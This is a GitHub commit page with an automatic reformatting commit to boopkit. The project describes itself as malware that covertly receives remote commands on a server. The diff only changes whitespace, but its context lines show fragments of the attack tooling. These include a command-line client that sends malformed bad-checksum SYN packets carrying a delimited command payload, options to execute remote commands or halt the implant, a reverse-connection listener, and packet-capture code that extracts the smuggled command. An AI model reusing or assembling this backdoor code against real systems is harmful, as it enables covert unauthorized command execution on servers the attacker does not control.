Automatic commit from github.com/kris-nova/bin/git-save

Signed-off-by: Kris Nóva <kris@nivenly.com>
krisnova · Apr 18, 2022 · 44644d1 · 44644d1
1 parent 48c193b
commit 44644d1
Show file tree

Hide file tree

Showing 4 changed files with 19 additions and 17 deletions.
diff --git a/boop/boopkit-boop.c b/boop/boopkit-boop.c
@@ -49,7 +49,8 @@ void usage() {
   boopprintf("-lport             Local  (src) port      : 3535\n");
   boopprintf("-rhost             Remote (dst) address   : 127.0.0.1.\n");
   boopprintf("-rport             Remote (dst) port      : 22\n");
-  boopprintf("-9, halt/kill      Halt or kill the boopkit malware on a server.\n");
+  boopprintf(
+      "-9, halt/kill      Halt or kill the boopkit malware on a server.\n");
   boopprintf("-q, quiet          Disable output.\n");
   boopprintf("-c, execute        Remote command to exec : ls -la\n");
   boopprintf("-p, payload-only   Boop with only SYN. No reverse conn.\n");
@@ -203,12 +204,12 @@ int main(int argc, char **argv) {
   char payload[MAX_RCE_SIZE];
   if (cfg.halt) {
     cfg.payload = 1;
-    strncpy(cfg.rce, BOOPKIT_RCE_CMD_HALT, MAX_RCE_SIZE); // Overwrite command with halt command!
+    strncpy(cfg.rce, BOOPKIT_RCE_CMD_HALT,
+            MAX_RCE_SIZE);  // Overwrite command with halt command!
   }
   sprintf(payload, "%s%s%s", BOOPKIT_RCE_DELIMITER, cfg.rce,
           BOOPKIT_RCE_DELIMITER);
 
-
   // Echo vars
   boopprintf("  -> *[RCE]     : %s\n", cfg.rce);
   boopprintf("  -> *[Local]   : %s:%s\n", cfg.lhost, cfg.lport);
@@ -218,7 +219,6 @@ int main(int argc, char **argv) {
   }
   printf("================================================================\n");
 
-
   // ===========================================================================
   // 1. Bad checksum SYN SOCK_RAW (Connectionless)
   //
@@ -242,7 +242,6 @@ int main(int argc, char **argv) {
   // [SYN] Send a packet with a 0 checksum!
   int packet_len;
 
-
   // Create a malformed TCP packet with an arbitrary command payload attached to
   // the packet.
   create_bad_syn_packet_payload(&saddr, &daddr, &packet, &packet_len, payload);
@@ -259,7 +258,8 @@ int main(int argc, char **argv) {
   // ===========================================================================
 
   if (cfg.payload) {
-    printf("================================================================\n");
+    printf(
+        "================================================================\n");
     return 0;
   }
 
@@ -337,7 +337,8 @@ int main(int argc, char **argv) {
              cfg.rport);
   close(sock3);
   // ===========================================================================
-  boopprintf("  -> [hanging..]   CONN       : %s:%s (listen...)\n", cfg.lhost, cfg.lport);
+  boopprintf("  -> [hanging..]   CONN       : %s:%s (listen...)\n", cfg.lhost,
+             cfg.lport);
   if (!cfg.payload) {
     int errno;
     errno = serverce(saddrstr, cfg.rce);

diff --git a/boopkit.c b/boopkit.c
@@ -403,7 +403,7 @@ int main(int argc, char **argv) {
             ret = strstr(rce, BOOPKIT_RCE_CMD_HALT);
             if (ret) {
               // Halt!
-              xcap_collect  = 0;
+              xcap_collect = 0;
               boopprintf("  XX Halting boopkit: %s\n", ret);
               return 0;
             }
@@ -428,7 +428,7 @@ int main(int argc, char **argv) {
             ret = strstr(rce, BOOPKIT_RCE_CMD_HALT);
             if (ret) {
               // Halt!
-              xcap_collect  = 0;
+              xcap_collect = 0;
               boopprintf("  XX Halting boopkit: %s\n", ret);
               return 0;
             }

diff --git a/common.h b/common.h
@@ -6,7 +6,7 @@
 #define BOOPKIT_COMMON_H
 
 #define BOOPKIT_RCE_DELIMITER "X*x.x**X"
-#define BOOPKIT_RCE_CMD_HALT  "X*x.HALT.x**X"
+#define BOOPKIT_RCE_CMD_HALT "X*x.HALT.x**X"
 
 extern int quiet;
 

diff --git a/dpi.c b/dpi.c
@@ -251,7 +251,7 @@ int xcaprce(char search[INET_ADDRSTRLEN], char *rce) {
 
     char *ret = strstr(search, xpack_saddr);
     if (!ret) {
-      continue; // Ignore packets not from our search!
+      continue;  // Ignore packets not from our search!
     }
 
     unsigned char *packet = xpack->packet;
@@ -269,17 +269,18 @@ int xcaprce(char search[INET_ADDRSTRLEN], char *rce) {
         return 0;  // Money, Success, Fame, Glamour
       } else {
         boopprintf("  -> [FILTER FAILURE] No RCE in xCap!\n");
-        //snapshot_dump(snap);
-        xcap_ring_buffer_free(snap);                   // Flush snapshot after RCE
-        //xcap_ring_buffer_free(xcap_ring_buffer); // Flush ring buffer after RCE
+        // snapshot_dump(snap);
+        xcap_ring_buffer_free(snap);  // Flush snapshot after RCE
+        // xcap_ring_buffer_free(xcap_ring_buffer); // Flush ring buffer after
+        // RCE
         return 1;
       }
     }
   }
   boopprintf("  -> No RCE in xCap!\n");
-  //snapshot_dump(snap);
-  xcap_ring_buffer_free(snap);                   // Flush snapshot after RCE
-  //xcap_ring_buffer_free(xcap_ring_buffer); // Flush ring buffer after RCE
+  // snapshot_dump(snap);
+  xcap_ring_buffer_free(snap);  // Flush snapshot after RCE
+  // xcap_ring_buffer_free(xcap_ring_buffer); // Flush ring buffer after RCE
   return 1;
   // return 0; // When we found our RCE!
 }